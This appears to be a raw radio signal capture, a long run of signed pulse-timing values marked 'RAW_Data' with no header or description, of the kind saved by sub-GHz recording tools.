-356 107 -368 125 -352 349 -104 337 -124 341 -126 337 -128 339 -128 125 -342 357 -140 335 -94 347 -124 121 -372 103 -366 93 -384 349 -104 141 -364 103 -336 129 -356 93 -372 349 -132 329 -124 121 -348 139 -334 127 -3714 97 -372 95 -378 105 -372 345 -108 339 -130 325 -124 369 -98 369 -96 127 -370 327 -142 335 -128 317 -124 123 -372 101 -368 91 -384 351 -104 141 -362 -RAW_Data: 105 -336 127 -372 105 -360 349 -106 363 -106 107 -396 105 -338 135 -3698 99 -392 105 -336 127 -354 351 -102 339 -122 341 -128 337 -128 339 -126 127 -342 357 -140 333 -96 347 -126 121 -372 101 -368 91 -384 351 -102 143 -362 105 -336 127 -358 93 -370 349 -132 331 -122 121 -350 137 -336 125 -3724 101 -356 107 -368 93 -394 329 -134 329 -124 337 -128 337 -128 337 -128 125 -352 349 -104 335 -124 343 -126 121 -372 101 -368 91 -382 351 -102 141 -364 105 -334 129 -358 93 -370 349 -132 331 -122 121 -350 123 -344 133 -3694 131 -358 103 -372 99 -362 351 -140 335 -94 343 -126 369 -98 337 -128 125 -342 357 -140 335 -126 317 -124 121 -372 103 -366 93 -384 351 -102 143 -362 105 -336 127 -358 93 -370 349 -132 331 -122 121 -350 137 -336 127 -3724 99 -356 107 -370 93 -394 327 -134 329 -124 337 -128 337 -128 337 -126 127 -350 351 -104 335 -124 343 -126 121 -372 101 -368 91 -384 349 -104 141 -362 105 -336 129 -372 103 -362 347 -108 361 -106 107 -398 103 -338 135 -3702 99 -392 105 -334 127 -354 349 -104 337 -124 341 -126 369 -98 337 -128 127 -340 357 -140 335 -126 317 -124 123 -370 103 -368 91 -384 351 -104 141 -362 105 -336 127 -358 93 -370 349 -132 331 -124 119 -350 137 -336 127 -3722 99 -356 107 -368 93 -384 351 -102 337 -124 341 -126 337 -130 337 -128 125 -342 357 -140 335 -94 349 -124 121 -372 101 -368 93 -384 349 -104 141 -362 105 -336 129 -356 93 -372 349 -132 329 -124 119 -352 137 -336 127 -3718 95 -372 93 -368 141 -334 367 -108 337 -128 351 -94 369 -96 369 -96 127 -370 329 -140 335 -128 317 -126 121 -372 101 -368 93 -384 349 -104 141 -362 105 -336 129 -356 93 -372 349 -132 329 -124 119 -352 137 -336 125 -3724 101 -356 107 -368 93 -384 349 -104 337 -122 341 -126 337 -128 339 -126 127 -342 355 -140 335 -126 317 -126 121 -372 101 -368 91 -386 349 -104 141 -362 105 -336 127 -358 93 -372 349 -132 329 -124 119 -350 139 -334 127 -3722 101 -356 141 -334 93 -384 349 -104 337 -124 341 -126 337 -128 337 -128 127 -340 357 -140 335 -126 317 -124 123 -372 101 -366 93 -384 351 -104 141 -362 105 -336 127 -358 93 -370 349 -132 331 -124 119 -352 137 -336 127 -3720 99 -356 143 -334 125 -352 349 -104 337 -124 341 -126 337 -128 339 -128 125 -342 357 -140 335 -126 315 -126 121 -372 101 -368 93 -384 349 -104 141 -362 105 -336 127 -358 93 -370 349 -132 331 -124 119 -352 -RAW_Data: 139 -334 127 -3720 101 -356 141 -336 125 -350 349 -104 337 -124 341 -126 337 -130 337 -128 127 -342 357 -138 335 -126 317 -126 121 -372 101 -368 93 -382 351 -102 141 -362 105 -338 127 -358 93 -370 349 -132 329 -124 121 -352 137 -336 127 -3718 101 -356 141 -334 125 -352 351 -102 337 -124 343 -126 337 -130 337 -128 127 -344 355 -140 333 -126 315 -126 121 -374 101 -368 91 -384 351 -104 139 -362 105 -336 129 -358 93 -372 349 -130 331 -122 121 -350 139 -334 127 -3726 99 -356 107 -370 93 -382 349 -104 335 -122 341 -126 371 -96 337 -128 127 -342 355 -140 335 -126 347 -94 121 -374 101 -368 93 -384 349 -104 141 -362 105 -336 127 -358 93 -372 349 -132 329 -124 119 -350 139 -336 127 -3716 97 -370 95 -380 91 -380 355 -106 347 -140 331 -92 391 -104 359 -106 105 -362 357 -106 349 -140 329 -94 139 -340 129 -360 123 -360 327 -124 119 -350 139 -336 127 -356 93 -370 349 -132 331 -124 119 -350 139 -336 125 -3724 101 -356 107 -368 93 -384 347 -104 337 -124 341 -126 369 -98 337 -128 125 -342 357 -140 335 -126 347 -94 121 -372 103 -368 93 -382 351 -104 141 -362 105 -336 127 -358 93 -370 349 -132 331 -124 119 -352 137 -336 125 -3722 101 -356 141 -334 125 -366 329 -132 329 -124 359 -106 357 -108 337 -124 143 -340 349 -106 339 -130 357 -94 121 -372 103 -368 125 -352 349 -104 141 -364 103 -338 127 -358 93 -370 349 -132 331 -124 121 -350 137 -336 127 -3692 135 -356 107 -370 93 -380 325 -126 355 -124 337 -128 339 -128 337 -126 93 -388 317 -132 335 -124 339 -128 121 -372 101 -368 91 -382 351 -102 141 -364 105 -334 129 -358 93 -370 349 -132 331 -122 121 -350 139 -334 127 -3724 99 -356 107 -370 125 -362 329 -134 329 -124 359 -106 357 -108 337 -124 143 -340 347 -106 341 -130 357 -92 121 -374 101 -370 123 -352 351 -104 141 -362 105 -336 129 -358 93 -370 349 -132 331 -122 121 -352 137 -336 127 -3694 133 -358 105 -370 93 -380 327 -126 355 -94 367 -130 337 -128 337 -126 93 -358 347 -134 333 -124 339 -126 123 -370 101 -368 91 -382 351 -102 143 -362 105 -336 127 -358 93 -370 349 -132 331 -122 121 -350 139 -336 125 -3722 101 -356 141 -334 125 -350 351 -140 301 -124 343 -126 339 -128 337 -128 127 -344 355 -140 333 -128 315 -126 121 -372 101 -368 93 -382 351 -104 139 -362 105 -336 129 -358 93 -372 349 -132 329 -124 121 -350 137 -336 125 -3726 101 -356 107 -368 93 -394 327 -134 -RAW_Data: 329 -122 337 -128 337 -128 339 -126 125 -350 351 -104 337 -124 345 -126 121 -372 101 -366 93 -382 351 -104 141 -362 105 -336 129 -372 103 -362 347 -108 361 -106 143 -362 103 -340 135 -3698 101 -392 105 -334 127 -356 349 -140 303 -124 343 -126 337 -128 339 -128 125 -346 355 -140 333 -126 317 -126 121 -372 101 -368 91 -384 351 -102 141 -362 105 -336 129 -358 93 -372 349 -132 329 -124 121 -350 137 -334 127 -3722 101 -356 141 -334 93 -384 349 -104 337 -124 341 -126 369 -98 337 -128 125 -342 357 -140 335 -128 315 -124 123 -372 101 -368 91 -384 351 -104 141 -362 105 -336 127 -358 93 -372 349 -132 329 -124 121 -350 139 -334 127 -3724 99 -356 107 -370 93 -396 329 -132 329 -124 337 -128 337 -128 337 -128 125 -350 351 -102 337 -124 345 -126 121 -372 101 -368 91 -384 351 -102 143 -362 105 -336 127 -358 93 -370 349 -132 331 -122 121 -350 139 -334 127 -3714 97 -372 95 -378 141 -336 347 -108 339 -132 325 -124 369 -130 305 -160 95 -370 327 -140 335 -128 319 -124 121 -374 101 -368 93 -384 351 -102 141 -362 105 -336 129 -360 93 -370 349 -132 329 -124 121 -350 139 -334 127 -3726 101 -356 107 -368 93 -394 327 -134 329 -122 337 -128 337 -128 337 -128 125 -350 351 -104 337 -124 343 -126 121 -372 101 -368 93 -382 351 -104 141 -362 105 -336 127 -372 105 -360 349 -106 363 -106 141 -362 105 -338 135 -3698 99 -392 105 -336 127 -372 331 -134 329 -122 337 -128 339 -128 337 -126 127 -350 351 -102 337 -124 343 -126 121 -372 101 -368 93 -382 349 -104 141 -362 105 -336 129 -358 93 -370 349 -132 331 -122 121 -350 139 -334 127 -3722 101 -356 141 -334 125 -352 349 -104 339 -124 343 -126 337 -130 337 -128 127 -344 355 -140 333 -126 315 -126 121 -374 101 -366 93 -384 351 -102 141 -362 105 -336 129 -358 93 -370 349 -132 331 -124 121 -350 137 -334 127 -3726 99 -356 107 -370 93 -394 329 -132 329 -122 337 -128 337 -130 337 -126 127 -348 351 -104 337 -124 345 -126 121 -372 101 -368 91 -384 349 -104 141 -364 105 -334 129 -358 93 -370 349 -132 331 -124 119 -352 137 -336 127 -3722 101 -356 107 -368 125 -364 329 -134 329 -124 359 -104 359 -108 335 -126 143 -340 349 -106 339 -130 357 -92 121 -374 101 -370 125 -352 349 -104 141 -364 103 -336 129 -358 93 -370 349 -132 331 -124 121 -350 139 -334 127 -3716 97 -370 95 -378 141 -336 347 -108 339 -132 355 -94 369 -96 369 -98 125 -370 329 -140 -RAW_Data: 337 -128 349 -94 121 -372 101 -368 125 -352 349 -104 141 -364 103 -336 129 -358 93 -370 349 -132 331 -124 121 -350 139 -334 127 -3724 99 -356 107 -368 125 -366 329 -132 331 -122 337 -128 337 -130 337 -126 127 -348 351 -104 337 -124 343 -126 121 -372 101 -368 93 -382 351 -104 141 -362 105 -336 127 -358 93 -370 349 -132 331 -124 119 -352 137 -336 127 -3720 99 -392 107 -334 125 -354 349 -138 303 -124 343 -126 337 -130 337 -128 125 -346 355 -140 333 -128 315 -126 121 -372 101 -368 93 -384 319 -134 141 -362 105 -336 127 -358 95 -370 349 -132 331 -124 89 -382 137 -334 127 -3696 133 -356 105 -368 93 -394 327 -134 329 -122 337 -128 337 -130 337 -126 127 -348 351 -104 369 -92 345 -126 121 -372 101 -368 91 -384 351 -102 143 -362 105 -336 127 -358 93 -370 349 -132 331 -122 121 -352 139 -334 127 -3716 101 -392 103 -336 125 -356 349 -138 303 -126 343 -126 339 -128 337 -128 127 -346 355 -140 333 -124 317 -126 121 -372 101 -368 93 -384 351 -102 141 -362 105 -336 127 -358 95 -370 349 -132 329 -124 121 -350 139 -334 127 -3726 101 -356 105 -370 93 -382 351 -102 335 -124 341 -126 371 -96 337 -128 127 -342 355 -140 335 -126 349 -94 121 -372 101 -368 93 -384 351 -102 141 -364 105 -336 127 -358 93 -372 349 -132 329 -124 121 -350 139 -334 127 -3716 97 -372 93 -380 93 -380 355 -104 349 -140 331 -92 391 -104 359 -106 107 -360 357 -106 349 -140 331 -94 139 -340 129 -360 125 -358 327 -124 121 -350 139 -334 127 -356 93 -370 349 -132 331 -124 121 -350 139 -336 127 -3724 101 -356 105 -370 93 -394 329 -132 331 -122 361 -104 359 -108 335 -126 143 -340 349 -106 337 -132 357 -92 121 -374 101 -370 123 -354 351 -102 143 -362 105 -336 129 -358 93 -370 349 -132 331 -122 121 -352 137 -336 127 -3724 101 -356 107 -368 93 -382 349 -140 301 -126 341 -128 337 -128 339 -128 125 -346 355 -140 333 -124 317 -126 121 -372 101 -368 93 -384 351 -102 141 -362 105 -336 129 -372 103 -360 347 -108 361 -106 105 -396 103 -340 137 -3698 101 -392 103 -336 129 -358 349 -104 337 -124 343 -126 369 -98 337 -128 125 -372 327 -140 335 -126 349 -94 121 -372 103 -366 125 -352 351 -104 141 -362 105 -336 129 -358 93 -370 349 -132 331 -122 121 -352 139 -334 127 -3728 101 -356 105 -370 93 -380 349 -104 337 -124 343 -126 337 -130 337 -128 125 -346 355 -140 333 -126 315 -126 121 -374 101 -366 93 -384 351 -104 -RAW_Data: 139 -362 105 -336 129 -358 93 -372 349 -130 331 -124 121 -350 137 -336 125 -3726 101 -356 105 -370 93 -394 329 -134 329 -122 337 -128 337 -128 339 -126 127 -348 351 -104 369 -92 345 -126 121 -372 101 -368 91 -384 351 -102 143 -362 105 -336 127 -358 93 -370 349 -132 331 -124 121 -350 139 -334 127 -3718 95 -372 93 -380 91 -382 353 -106 349 -140 331 -94 391 -104 357 -108 105 -360 359 -106 349 -140 331 -92 141 -340 127 -360 125 -360 327 -122 121 -350 139 -334 127 -356 123 -340 349 -132 331 -124 121 -352 137 -336 127 -3726 101 -356 107 -368 93 -394 329 -132 329 -124 337 -128 337 -128 337 -128 125 -350 351 -104 337 -124 343 -126 123 -370 103 -366 93 -382 351 -104 141 -362 105 -336 129 -358 93 -370 349 -132 331 -124 119 -352 137 -336 127 -3722 101 -356 141 -334 125 -364 331 -134 329 -124 359 -106 357 -108 337 -124 143 -342 347 -106 339 -130 357 -92 121 -374 101 -370 125 -352 351 -104 141 -362 105 -336 127 -358 125 -338 349 -132 331 -124 121 -350 139 -336 125 -3722 101 -356 143 -334 93 -384 351 -102 339 -124 341 -128 337 -128 339 -128 125 -346 355 -140 333 -126 315 -126 121 -374 101 -366 93 -384 351 -104 141 -362 103 -338 127 -372 103 -362 345 -142 327 -106 139 -362 103 -340 137 -3706 99 -392 105 -334 127 -356 351 -104 337 -122 343 -126 369 -98 337 -128 125 -374 325 -140 335 -126 349 -94 121 -372 103 -368 93 -384 349 -104 141 -362 105 -336 129 -358 93 -370 349 -132 331 -122 121 -352 137 -336 127 -3722 99 -392 107 -334 93 -384 349 -140 301 -126 341 -128 337 -128 337 -130 125 -344 357 -138 335 -126 317 -126 121 -372 101 -368 93 -382 351 -104 139 -362 105 -336 129 -358 93 -372 349 -132 331 -124 121 -350 137 -334 127 -3696 133 -356 105 -368 93 -394 329 -132 329 -124 337 -126 339 -128 337 -128 125 -348 353 -138 333 -94 343 -126 123 -372 101 -366 93 -384 349 -104 141 -364 105 -334 129 -372 105 -360 349 -106 361 -108 141 -362 103 -340 135 -3698 97 -372 127 -346 123 -352 351 -94 371 -108 339 -130 355 -94 367 -130 91 -368 345 -124 359 -104 337 -122 123 -352 139 -336 125 -356 351 -102 143 -362 105 -336 129 -360 93 -370 349 -132 331 -124 121 -350 139 -334 127 -3716 97 -372 93 -380 123 -352 353 -106 351 -138 331 -94 389 -106 357 -108 105 -360 359 -106 349 -138 333 -92 139 -340 129 -360 123 -360 327 -124 119 -350 139 -336 125 -358 93 -372 347 -134 331 -122 -RAW_Data: 121 -350 139 -334 127 -3722 101 -392 105 -334 127 -352 349 -140 301 -124 343 -128 337 -128 339 -126 127 -346 355 -140 333 -126 315 -126 121 -372 101 -368 93 -384 351 -102 141 -362 105 -368 97 -358 95 -370 349 -132 329 -124 121 -352 137 -334 127 -3724 99 -356 143 -334 93 -384 349 -104 335 -124 343 -126 337 -130 337 -128 125 -342 357 -140 335 -126 347 -94 121 -374 101 -368 125 -350 351 -104 141 -362 105 -336 129 -358 93 -370 349 -132 331 -124 119 -352 139 -334 127 -3716 99 -392 105 -336 127 -356 349 -138 303 -126 343 -126 337 -130 337 -128 127 -344 355 -140 335 -126 315 -126 121 -372 101 -368 93 -384 351 -104 139 -362 105 -336 129 -358 93 -372 349 -132 329 -124 121 -350 139 -334 127 -3694 135 -356 107 -368 93 -392 329 -132 329 -124 337 -128 337 -128 337 -128 125 -348 353 -104 367 -94 343 -126 121 -372 103 -366 93 -384 349 -104 141 -364 103 -336 129 -358 93 -370 349 -132 331 -124 121 -350 139 -334 127 -3724 99 -356 143 -332 125 -366 331 -134 329 -124 359 -104 359 -108 335 -124 145 -342 347 -106 339 -130 357 -94 121 -372 103 -368 125 -352 349 -104 141 -362 105 -338 127 -360 93 -370 349 -132 331 -122 121 -352 137 -336 127 -3726 101 -356 107 -368 93 -382 349 -104 337 -124 341 -126 337 -130 337 -128 125 -342 357 -140 335 -126 347 -94 121 -374 101 -368 123 -354 349 -104 141 -362 105 -336 129 -358 93 -372 349 -130 331 -124 121 -352 137 -336 125 -3724 101 -356 141 -334 127 -364 329 -132 331 -122 339 -128 337 -128 337 -126 127 -350 351 -104 335 -124 343 -126 121 -372 103 -366 93 -384 349 -104 141 -364 103 -336 129 -358 91 -372 349 -132 331 -124 119 -352 139 -334 127 -3728 99 -356 107 -370 93 -394 327 -134 329 -124 337 -128 337 -128 337 -126 127 -348 353 -104 337 -124 343 -126 121 -372 101 -368 93 -382 351 -104 141 -362 105 -336 129 -356 93 -372 349 -132 331 -122 121 -350 139 -336 125 -3722 101 -392 105 -334 127 -352 351 -138 303 -124 343 -128 337 -128 339 -128 125 -346 355 -140 333 -124 317 -126 121 -372 101 -368 93 -384 351 -104 141 -362 103 -336 127 -360 93 -370 351 -132 331 -124 89 -380 137 -336 125 -3728 99 -356 107 -370 93 -384 349 -102 335 -124 341 -126 371 -96 337 -128 127 -372 325 -140 335 -128 347 -94 121 -374 101 -368 125 -350 351 -104 141 -362 105 -336 129 -358 93 -370 349 -134 329 -124 121 -350 139 -334 127 -3722 101 -392 105 -334 127 -352 -RAW_Data: 349 -140 301 -124 343 -126 339 -128 337 -128 127 -376 325 -140 333 -126 317 -126 121 -372 101 -368 93 -384 349 -104 141 -362 103 -338 127 -358 95 -370 351 -132 329 -124 91 -380 137 -336 125 -3724 101 -356 141 -334 93 -384 349 -104 337 -124 341 -126 369 -98 337 -128 125 -372 327 -140 335 -126 349 -94 121 -374 101 -368 91 -384 351 -104 141 -362 105 -336 129 -358 93 -370 349 -132 331 -124 121 -350 139 -334 127 -3722 101 -392 105 -334 127 -352 349 -140 303 -124 343 -126 339 -128 337 -128 127 -344 357 -138 333 -126 315 -126 123 -372 101 -368 93 -384 351 -102 141 -362 105 -336 127 -360 93 -372 349 -132 329 -124 121 -350 137 -334 127 -3718 97 -372 93 -380 91 -384 353 -104 349 -140 331 -124 359 -104 359 -106 105 -362 357 -106 351 -140 331 -92 139 -342 129 -360 123 -360 327 -124 119 -350 139 -334 127 -358 93 -370 349 -132 331 -124 121 -352 137 -336 125 -3718 99 -392 105 -334 127 -356 349 -140 303 -124 345 -126 337 -128 339 -128 125 -346 355 -140 333 -126 317 -126 121 -372 101 -368 93 -384 351 -102 141 -362 103 -368 97 -358 93 -372 349 -132 331 -124 121 -350 139 -334 127 -3722 99 -392 107 -334 127 -352 351 -102 337 -124 341 -126 369 -98 337 -128 127 -340 357 -140 335 -126 349 -94 121 -372 101 -370 91 -384 349 -104 141 -364 105 -336 127 -358 93 -372 349 -132 331 -122 121 -352 139 -334 127 -3716 97 -372 93 -380 123 -350 355 -106 351 -140 331 -92 391 -104 359 -106 105 -362 357 -106 349 -140 329 -94 139 -342 127 -360 125 -358 327 -124 119 -352 139 -336 125 -356 125 -340 349 -132 331 -122 121 -352 139 -334 127 -3720 101 -392 105 -334 127 -354 351 -138 303 -124 343 -126 337 -130 337 -128 127 -344 355 -140 333 -126 315 -126 123 -372 101 -368 93 -384 351 -102 141 -362 103 -368 97 -358 95 -370 349 -132 329 -124 121 -352 137 -334 127 -3718 101 -392 105 -334 127 -356 351 -102 337 -124 343 -126 369 -96 339 -128 125 -372 327 -140 335 -126 317 -126 121 -372 103 -366 93 -384 349 -104 141 -364 103 -338 127 -358 125 -340 349 -132 331 -122 121 -350 139 -336 125 -3730 99 -356 107 -370 93 -394 327 -134 331 -122 361 -104 359 -106 337 -124 145 -340 347 -106 339 -132 357 -92 121 -374 101 -370 125 -352 351 -104 141 -362 105 -336 129 -358 93 -372 349 -132 331 -122 121 -350 139 -336 125 -3724 101 -356 141 -334 125 -366 329 -134 329 -124 337 -126 339 -128 337 -126 127 -348 -RAW_Data: 353 -102 337 -124 345 -126 121 -372 101 -368 91 -386 349 -104 141 -362 105 -336 129 -358 93 -370 349 -132 331 -124 119 -352 137 -336 127 -3724 99 -356 141 -336 125 -366 329 -134 329 -124 337 -128 337 -128 337 -128 125 -350 351 -104 337 -122 345 -126 121 -372 101 -368 91 -384 351 -102 143 -362 105 -336 127 -358 93 -372 349 -132 331 -122 121 -350 139 -334 127 -3720 101 -392 105 -334 127 -356 349 -138 303 -124 343 -126 337 -128 339 -128 125 -344 357 -138 335 -126 317 -126 121 -372 101 -368 93 -384 351 -104 139 -362 105 -366 97 -360 93 -370 351 -132 329 -124 121 -352 137 -334 127 -3726 99 -356 143 -334 93 -384 349 -104 335 -124 341 -128 369 -96 339 -128 125 -372 327 -140 335 -126 347 -94 123 -372 101 -368 125 -350 351 -104 141 -362 105 -336 129 -358 93 -372 349 -132 331 -122 121 -350 139 -334 127 -3716 97 -372 95 -376 125 -350 355 -106 351 -140 331 -94 389 -106 357 -108 105 -360 359 -104 351 -140 331 -92 139 -342 127 -360 125 -360 327 -122 121 -352 137 -336 127 -356 123 -340 349 -132 331 -124 121 -350 139 -336 125 -3728 101 -356 105 -370 93 -396 329 -132 329 -124 337 -128 337 -130 337 -126 127 -348 351 -104 337 -124 343 -126 123 -370 103 -366 93 -382 351 -104 141 -364 105 -334 129 -358 123 -340 349 -132 331 -124 121 -350 139 -336 125 -3718 99 -392 105 -334 127 -356 349 -140 303 -124 345 -126 337 -130 337 -128 127 -344 355 -140 335 -126 315 -126 121 -374 101 -368 91 -384 351 -104 141 -362 103 -368 95 -360 95 -370 351 -132 329 -124 91 -380 137 -336 125 -3726 101 -356 141 -334 93 -386 349 -104 335 -124 341 -126 369 -96 339 -128 125 -372 327 -140 335 -126 349 -94 121 -372 101 -368 125 -352 349 -104 141 -364 105 -336 127 -360 93 -370 349 -132 331 -124 121 -350 139 -334 127 -3724 99 -392 105 -334 127 -366 329 -134 329 -124 337 -128 337 -128 337 -128 125 -348 353 -104 337 -124 343 -126 121 -372 101 -368 93 -384 349 -104 141 -362 105 -336 129 -356 125 -340 349 -132 331 -122 121 -352 139 -334 127 -3722 99 -392 105 -334 127 -354 349 -140 303 -124 343 -126 337 -128 339 -128 125 -346 355 -140 333 -126 317 -126 121 -372 101 -368 93 -384 351 -104 139 -362 105 -366 97 -360 93 -372 349 -132 329 -124 121 -350 139 -334 127 -3718 95 -372 95 -378 93 -382 353 -106 349 -140 331 -94 391 -104 357 -108 105 -360 357 -106 351 -138 331 -124 109 -374 95 -362 123 -360 -RAW_Data: 327 -122 121 -352 139 -336 125 -356 125 -340 349 -132 331 -122 121 -352 139 -334 127 -3724 101 -354 143 -332 127 -366 329 -134 329 -124 337 -126 339 -128 337 -126 127 -348 353 -102 337 -124 345 -126 121 -372 101 -368 91 -384 351 -104 141 -362 105 -336 129 -358 93 -370 349 -132 331 -124 119 -352 137 -336 127 -3722 101 -392 105 -334 127 -352 351 -138 303 -124 343 -126 337 -128 339 -128 125 -344 355 -140 335 -126 317 -126 121 -372 101 -368 93 -384 351 -104 139 -362 105 -366 97 -360 93 -372 349 -132 331 -124 91 -380 137 -336 125 -3730 101 -356 105 -370 93 -382 349 -104 335 -124 341 -126 369 -96 339 -128 125 -342 355 -142 335 -126 349 -94 121 -372 101 -368 125 -352 351 -102 141 -364 105 -336 127 -360 93 -370 349 -132 331 -124 121 -350 139 -334 127 -3724 99 -356 143 -334 125 -366 331 -132 329 -124 337 -128 337 -130 337 -126 127 -348 353 -104 335 -124 343 -126 121 -372 101 -368 93 -384 349 -104 141 -364 105 -334 129 -358 93 -370 349 -132 331 -124 121 -350 139 -336 125 -3724 101 -356 141 -334 125 -366 331 -132 331 -122 361 -104 359 -108 335 -126 143 -340 349 -106 339 -130 357 -94 121 -372 103 -368 125 -352 351 -104 141 -362 105 -336 129 -358 93 -370 349 -134 331 -122 121 -350 139 -334 127 -3720 101 -392 105 -334 127 -356 349 -140 301 -124 343 -128 337 -128 337 -128 127 -344 357 -138 335 -126 317 -126 121 -372 101 -368 91 -386 351 -102 141 -362 105 -334 129 -358 93 -372 349 -132 331 -124 121 -350 139 -334 127 -3726 99 -356 143 -334 93 -384 349 -104 337 -124 341 -126 369 -96 339 -128 125 -372 327 -140 335 -126 349 -94 121 -372 101 -370 91 -384 351 -104 141 -362 105 -336 127 -360 123 -340 349 -132 331 -124 119 -352 139 -334 127 -3724 99 -394 105 -334 125 -366 331 -132 329 -124 337 -128 337 -128 337 -128 125 -348 353 -104 337 -124 343 -126 121 -372 103 -366 93 -384 349 -104 141 -364 103 -336 129 -358 125 -338 349 -132 331 -124 121 -350 139 -336 125 -3722 101 -392 105 -334 127 -354 349 -104 337 -124 341 -128 369 -96 339 -128 125 -342 355 -140 335 -126 349 -94 121 -374 101 -368 93 -384 351 -102 143 -362 105 -336 129 -358 93 -370 349 -132 331 -122 121 -352 139 -334 127 -3722 101 -392 105 -334 127 -352 349 -140 303 -124 343 -126 337 -130 337 -128 127 -344 355 -140 333 -128 315 -126 121 -374 101 -368 91 -386 351 -102 141 -362 105 -336 129 -358 93 -370 349 -132 -RAW_Data: 331 -124 121 -350 137 -336 125 -3726 101 -356 141 -334 125 -350 351 -104 337 -124 341 -126 371 -96 337 -128 127 -372 325 -140 335 -126 349 -94 123 -372 101 -368 125 -350 351 -104 141 -362 105 -336 129 -360 93 -370 349 -132 331 -124 119 -352 139 -334 127 -3726 101 -354 107 -370 93 -384 349 -104 337 -124 343 -126 339 -128 337 -128 127 -344 357 -138 333 -126 317 -126 121 -372 101 -368 93 -384 351 -104 141 -362 105 -336 127 -372 103 -362 345 -142 327 -106 141 -358 103 -376 103 -3702 99 -392 105 -336 129 -360 349 -104 337 -124 343 -126 369 -98 337 -128 125 -372 327 -140 335 -128 349 -94 121 -372 101 -370 91 -384 351 -104 141 -362 105 -336 129 -358 93 -370 349 -132 331 -124 119 -352 139 -334 127 -3728 99 -356 107 -370 93 -394 329 -134 329 -124 337 -128 337 -128 337 -126 127 -348 351 -140 333 -94 375 -94 121 -372 101 -368 93 -384 351 -102 143 -362 105 -336 127 -360 93 -370 349 -132 329 -124 121 -352 139 -336 125 -3730 101 -356 105 -370 93 -380 349 -104 339 -124 341 -128 337 -128 339 -128 125 -344 357 -138 335 -124 317 -126 121 -372 103 -366 93 -384 353 -102 141 -362 105 -336 127 -360 93 -370 351 -132 331 -124 89 -382 137 -334 127 -3722 101 -392 105 -334 125 -354 351 -102 337 -124 343 -126 369 -96 339 -128 125 -372 327 -140 335 -126 349 -94 121 -372 101 -370 91 -384 351 -104 141 -362 105 -336 129 -358 93 -370 349 -132 331 -124 121 -352 137 -336 127 -3714 97 -370 127 -346 123 -352 355 -106 351 -140 333 -92 391 -104 359 -106 105 -362 355 -106 351 -140 331 -92 139 -342 129 -358 125 -360 327 -122 121 -352 139 -334 127 -356 125 -338 349 -134 329 -124 121 -352 139 -336 125 -3716 95 -372 127 -346 123 -352 355 -104 353 -140 331 -92 391 -104 359 -106 105 -362 357 -106 349 -140 333 -92 139 -342 127 -362 123 -360 327 -124 119 -352 139 -334 127 -356 125 -338 351 -132 331 -124 121 -350 139 -334 127 -3724 99 -392 107 -334 125 -354 349 -140 301 -126 343 -126 337 -130 337 -128 127 -344 357 -138 333 -126 315 -126 123 -372 101 -368 93 -384 351 -102 141 -362 105 -336 129 -358 93 -372 349 -132 329 -124 121 -350 139 -334 127 -3722 99 -392 105 -334 127 -354 351 -104 337 -124 341 -126 369 -98 337 -128 127 -372 325 -140 337 -126 347 -94 121 -372 103 -368 123 -352 351 -104 141 -362 105 -336 129 -358 93 -372 349 -132 331 -122 121 -352 137 -336 127 -3722 99 -392 105 -334 -RAW_Data: 127 -354 351 -138 303 -124 343 -126 337 -130 337 -128 127 -344 355 -140 333 -126 317 -126 123 -372 101 -368 93 -384 351 -102 141 -362 103 -368 95 -360 93 -370 351 -132 331 -124 121 -352 137 -334 127 -3722 99 -392 105 -334 127 -354 351 -104 335 -124 343 -126 369 -98 337 -128 125 -374 325 -140 335 -126 349 -94 121 -372 101 -368 125 -352 351 -102 143 -362 105 -336 129 -358 93 -370 349 -132 331 -124 121 -352 137 -336 125 -3718 99 -392 105 -334 129 -356 351 -138 303 -126 343 -126 337 -130 337 -128 127 -344 355 -140 333 -128 315 -126 121 -374 101 -368 91 -386 351 -102 141 -362 105 -336 129 -358 93 -372 349 -130 331 -124 121 -350 137 -336 125 -3728 101 -356 141 -334 93 -384 351 -102 337 -124 341 -126 371 -96 337 -128 127 -340 357 -140 335 -126 349 -94 121 -372 103 -368 123 -352 351 -104 141 -362 105 -336 129 -358 93 -372 349 -132 331 -122 121 -352 137 -336 127 -3718 99 -392 105 -336 127 -356 349 -140 301 -126 343 -126 339 -128 337 -128 127 -344 355 -140 335 -126 315 -128 121 -372 101 -368 93 -384 351 -102 141 -362 103 -368 97 -358 93 -370 351 -132 331 -124 121 -352 137 -334 127 -3728 101 -356 107 -370 93 -394 329 -132 329 -124 337 -126 339 -128 337 -128 125 -348 353 -138 333 -94 375 -94 121 -372 103 -368 91 -384 351 -104 141 -362 105 -336 129 -358 93 -370 349 -132 331 -124 121 -350 137 -336 127 -3726 99 -356 143 -334 125 -350 351 -140 301 -124 343 -126 339 -128 337 -128 127 -344 355 -140 333 -128 317 -126 121 -372 101 -368 93 -384 351 -104 139 -362 105 -336 129 -372 103 -360 347 -142 327 -106 139 -360 103 -376 103 -3700 101 -390 105 -338 127 -360 351 -138 333 -92 345 -126 369 -96 371 -96 125 -372 327 -140 337 -126 349 -94 121 -372 101 -368 125 -352 349 -104 141 -364 105 -336 127 -360 93 -370 349 -132 331 -124 121 -350 139 -336 125 -3724 101 -392 105 -334 127 -366 329 -134 329 -124 337 -128 337 -128 337 -126 127 -348 353 -138 333 -92 345 -126 121 -372 101 -368 93 -384 351 -102 141 -364 105 -336 127 -358 93 -370 349 -132 331 -124 121 -352 137 -336 125 -3722 101 -392 105 -334 127 -354 349 -140 303 -124 343 -126 337 -128 339 -128 125 -344 357 -138 335 -126 317 -126 121 -374 101 -366 93 -386 351 -102 141 -362 103 -368 97 -358 93 -370 351 -132 331 -124 121 -352 137 -334 127 -3726 99 -356 143 -332 93 -396 331 -134 327 -124 337 -128 337 -128 337 -128 -RAW_Data: 125 -348 353 -138 333 -94 345 -126 121 -372 101 -368 93 -384 349 -104 141 -362 105 -338 127 -358 93 -372 349 -132 329 -124 121 -352 137 -336 127 -3726 101 -356 105 -370 125 -364 329 -134 329 -124 337 -126 339 -128 337 -126 127 -350 351 -104 337 -124 343 -126 121 -372 101 -368 93 -384 349 -104 141 -362 105 -336 127 -360 93 -370 349 -132 331 -124 119 -352 137 -336 127 -3722 101 -354 143 -334 127 -366 331 -132 329 -124 361 -104 357 -108 335 -126 143 -340 347 -108 339 -130 357 -94 121 -374 101 -368 93 -386 351 -102 141 -362 105 -338 129 -358 93 -370 349 -132 331 -124 121 -350 139 -336 125 -3718 97 -370 95 -378 105 -372 345 -108 339 -132 357 -94 367 -96 371 -96 125 -368 365 -108 335 -128 351 -94 121 -374 101 -368 125 -350 351 -104 141 -362 105 -336 129 -360 93 -370 349 -132 331 -124 119 -352 139 -334 127 -979600 157 -356 139 -336 125 -354 349 -104 339 -124 